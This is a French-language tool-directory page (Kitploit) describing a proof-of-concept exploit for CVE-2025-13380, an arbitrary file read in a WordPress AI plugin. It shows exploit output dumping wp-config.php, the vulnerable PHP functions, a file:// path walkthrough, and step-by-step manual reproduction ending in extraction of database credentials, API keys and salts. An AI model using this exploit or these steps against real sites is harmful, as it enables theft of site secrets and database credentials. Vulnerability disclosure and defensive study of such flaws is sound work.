Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-13380 — AI Engine for WordPress: ChatGPT, GPT Content Generator <= 1.0.1 - Authentifié (Contributor+) Lecture arbitraire de fichier | Kitploit
Outils/GitHubGitHub/d0n601/cve-2025-13380
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsSécurité WebTests d'Intrusion
GitHubd0n601/cve-2025-13380

CVE-2025-13380

AI Engine for WordPress: ChatGPT, GPT Content Generator <= 1.0.1 - Authentifié (Contributor+) Lecture arbitraire de fichier

Voir le dépôt
1il y a 9 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Moteur IA pour WordPress : ChatGPT, GPT Content Generator <= 1.0.1 - Lecture de fichier arbitraire authentifiée (Contributeur+)

Le plugin AI Engine for WordPress contient une vulnérabilité dans sa fonction d'insertion d'image qui permet à tout utilisateur authentifié disposant de capacités d'édition de publication (Contributeur, Auteur, Éditeur, Administrateur) de télécharger des fichiers arbitraires depuis le serveur. La vulnérabilité provient du point de terminaison AJAX lqdai_update_post qui manque de vérifications de capacités appropriées et de la fonction insert_image() qui utilise file_get_contents() avec des URL contrôlées par l'utilisateur sans validation de protocole, permettant des téléchargements de fichiers arbitraires via le protocole file://.

Résumé des exploits

  • Un POC CVE-2025-13380.py est fourni pour démontrer un utilisateur de niveau Contributeur téléchargeant le fichier du site.
wp-config.php
root@kitploit:~
 python3 ./exploit.py http://techcorp.cc contributor password   
[+] Target: http://techcorp.cc
[+] Username: contributor
[+] Nonce obtained: 5dc61a0166
[+] Post created with ID: 148
[+] File written to uploads directory
[+] Attempting to retrieve file from: http://techcorp.cc/wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
[+] File retrieved successfully!
[+] wp-config.php contents:
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the website, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
...
...
...

Détails

Fonction d'insertion de fichier

L'action AJAX lqdai_update_post appelle la fonction update_post() à la ligne 315 de /wp-content/plugins/liquid-chatgpt/liquid-chatgpt.php, qui manque de vérifications de capacités appropriées et permet à tout utilisateur authentifié de modifier les publications qu'il peut éditer :

root@kitploit:~
function update_post() {
    if ( empty( $posts = $_POST['posts'] ) ) {
        wp_send_json( [
            'error' => true,
            'message' => __( 'Data is null!', 'lqdai' ),
        ] );
    }

    $args = [
        'ID'            => $posts['post_id'],
        'post_title'    => $posts['title'],
        'post_content'  => $posts['content'],
        'post_status'   => 'draft',
    ];

    $update_post = wp_update_post( $args );
    
    if ( is_wp_error( $update_post ) ) {
        wp_send_json( [
            'error' => true,
            'message' => $update_post->get_error_messages()
        ] );
    } else {
        wp_set_post_tags( $posts['post_id'], $posts['tags'], false );

        if ( !empty( $posts['image'] ) ) {
            $this->insert_image( $posts['post_id'], $posts['image'] );  // <-- ARBITRARY FILE DOWNLOAD VULNERABILITY
        }
    }
}

Téléchargement arbitraire de fichier dans insert_image()

La fonction insert_image() à la ligne 419 utilise file_get_contents() avec des URL contrôlées par l'utilisateur sans validation de protocole, permettant des téléchargements de fichiers arbitraires :

root@kitploit:~
function insert_image( $post_id, $image_url ) {
    // Get the path to the uploads directory
    $upload_dir = wp_upload_dir();
    $image_data = file_get_contents($image_url);

    $filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
    
    // Save the image to the uploads directory
    if ( wp_mkdir_p($upload_dir['path']) ) {
        $file = $upload_dir['path'] . '/' . $filename;
    } else {
        $file = $upload_dir['basedir'] . '/' . $filename;
    }
    
    file_put_contents($file, $image_data);  // <-- WRITES 
    
    // Get the attachment ID for the image
    $wp_filetype = wp_check_filetype($filename, null );
    $attachment = array(
        'post_mime_type' => $wp_filetype['type'],
        'post_title' => sanitize_file_name(str_replace('.jpg','', $filename)),
        'post_content' => '',
        'post_status' => 'inherit'
    );
    $attachment_id = wp_insert_attachment( $attachment, $file, $post_id );
    require_once(ABSPATH . 'wp-admin/includes/image.php');
    $attachment_data = wp_generate_attachment_metadata( $attachment_id, $file );
    wp_update_attachment_metadata( $attachment_id, $attachment_data );
    
    // Set the attachment ID as the featured image for the post
    set_post_thumbnail($post_id, $attachment_id);
}

Construction du chemin et nommage du fichier

La construction vulnérable du chemin permet de lire des fichiers locaux via le protocole file:// :

root@kitploit:~
// User provides: 'file:///var/www/html/wp-config.php'
$image_url = 'file:///var/www/html/wp-config.php';

// file_get_contents() reads the file (works by default in PHP)
$image_data = file_get_contents($image_url);  // Reads /var/www/html/wp-config.php

// Filename is constructed from the path
$filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
// parse_url() returns '/var/www/html/wp-config.php'
// sanitize_file_name() removes slashes: 'varwwwhtmlwp-config.php'
// Appends '.jpg': 'varwwwhtmlwp-config.php.jpg'

// File is written to uploads directory
$file = $upload_dir['path'] . '/' . $filename;
// Result: /wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
file_put_contents($file, $image_data);  // Writes wp-config.php content

Reproduction manuelle

  1. Connectez-vous à WordPress en tant que Contributeur (ou tout utilisateur disposant de capacités d'édition de publication).
  2. Créez un nouveau brouillon de publication pour obtenir un ID de publication.
  3. Utilisez les outils de développement du navigateur ou un outil comme Burp Suite pour intercepter le trafic.
  4. Interceptez une requête vers /wp-admin/admin-ajax.php appelant l'action lqdai_update_post.
  5. Modifiez la requête pour inclure une URL de protocole file:// dans le paramètre posts[image].
  6. Envoyez la requête avec posts[image]=file:///var/www/html/wp-config.php pour lire le fichier de configuration WordPress.
  7. Accédez au fichier via l'URL du répertoire des téléchargements : /wp-content/uploads/YYYY/MM/varwwwhtmlwp-config.php.jpg.
  8. Extrayez les fichiers de configuration sensibles, y compris les identifiants de base de données, les clés API et les sels de sécurité.
Télécharger l’outil